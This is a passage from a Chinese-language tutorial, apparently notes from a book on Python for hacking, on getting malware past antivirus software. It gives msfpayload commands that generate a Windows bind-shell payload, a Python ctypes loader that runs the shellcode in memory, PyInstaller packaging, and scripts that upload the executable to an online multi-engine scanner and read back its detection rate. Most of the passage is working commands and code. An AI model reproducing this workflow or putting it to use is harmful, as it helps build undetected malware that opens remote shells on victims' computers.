脚本编译后,该恶意软件可以通过蓝牙标识出被其侵入的计算机、秘密录音,入侵附近的计算机并往远程命令和控制服务器上传屏幕截图和数据。大多数杀毒引擎仍在使用基于特征码的检测作为主要的检测手段。 4 | 5 | ## 免杀的过程 6 | 7 | 在 Metasploit 框架中包含有一个恶意代码库。使用 Metasploit 生成 C 语言风格的一些 shellcode 作为恶意载荷。 8 | 9 | ```shell 10 | # msfpayload windows/shell_bind_tcp LPORT=1337 C 11 | ``` 12 | 13 | 要写一段用来执行这段 C 语言风格的 shellcode 脚本。Python 支持导入其他语言的函数库,导入 ctypes 库——这个库使我们能用 C 语言中的数据类型。 14 | 15 | ```python 16 | from ctypes import * 17 | shellcode = ("...") 18 | memory_with_shell = create_string_buffer(shellcode, len(shellcode)) 19 | shell = cast(memory_with_shell, CFUNCTYPE(c_void_p)) 20 | shell() 21 | ``` 22 | 23 | 下一步,使用 Pyinstaller 生成 Windows PE(portable executable)格式的可执行文件。 24 | 25 | ### 免杀验证 26 | 27 | 使用 `vscan.novirusthanks.org` 的服务来扫描可执行文件。NoVirusThanks 提供了一个 Web 网页界面,可以上传可疑文件,然后用多种不同的杀毒引擎扫描它。可以编写一个小巧的 Python 脚本自动完成这一步骤。在通过 Web 网页界面交互时,抓取一个 tcpdump 抓包文件,利用 httplib 库进行编写。 28 | 29 | 注意 boundary 字段,是用来分隔文件内容和数据包中其他内容的 30 | 31 | ```python 32 | def upload_file(file_name): 33 | print("[+] Uploading file to NoVirusThanks...") 34 | file_contents = open(file_name, "rb").read() 35 | header = { 36 | "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U" 37 | } 38 | params = "----WebKitFormBoundaryF17rwCZdGuPNPT9U" 39 | params += '\r\nContent-Disposition: form-data; name="upfile"; filename="{}"'.format(file_name) 40 | params += '\r\nContent-Type: application/octet stream\r\n\r\n' 41 | params += file_contents 42 | params += '\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U' 43 | params += '\r\nContent-Disposition: form-data; name="submitfile"\r\n' 44 | params += "------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n" 45 | conn = httplib.HTTPConnection("vscan.novirusthanks.org") 46 | conn.request("POST", "/", params, header) 47 | response = conn.getresponse() 48 | location = response.getheader("location") 49 | conn.close() 50 | return location 51 | ``` 52 | 53 | 接下来写一个把我们上传的可疑文件的扫描结果打印出来的 Python 脚本。首先,脚本要连接到 “file” 页面,它会返回一个 “正在进行扫描” 的消息。一旦这个页面返回一个 HTTP 302,就重定向到分析结果页面,可以使用一个正则表达式读取发现率,并把 CSS 代码用空白字符串替换掉。 54 | 55 | ```python 56 | def print_results(url): 57 | status = 200 58 | host = url_parse(url)[1] 59 | path = url_parse(url)[2] 60 | if "analysis" not in path: 61 | while status != 302: 62 | conn = httplib.HTTPConnection(host) 63 | conn.request("GET", path) 64 | resp = conn.getresponse() 65 | status = resp.status 66 | print("[+] Scanning file...") 67 | conn.close() 68 | time.sleep(15) 69 | print("[+] Scan Complete.") 70 | path = path.replace("file", "analysis") 71 | conn = httplib.HTTPConnection(host) 72 | conn.request("GET", path) 73 | resp = conn.getresponse() 74 | data = resp.read() 75 | conn.close() 76 | re_results = re.findall(r"Detection rate:.*\) ", data) 77 | html_strip_res = re_results[1].replace("<font color='red'>", '').replace("</font>", "") 78 | print("[+] {}".format(html_strip_res)) 79 | ``` 80 | 81 | 使用默认的 Metasploit 编码器把它编码到一个标准的 Windows 可执行文件中。这个文件显然无法逃过正常的杀毒软件的查杀 82 | 83 | ```shell 84 | $ msfpayload windows/shell_bind_tcp LPORT=1337 X > bindshell.exe 85 | ``` --------------------------------------------------------------------------------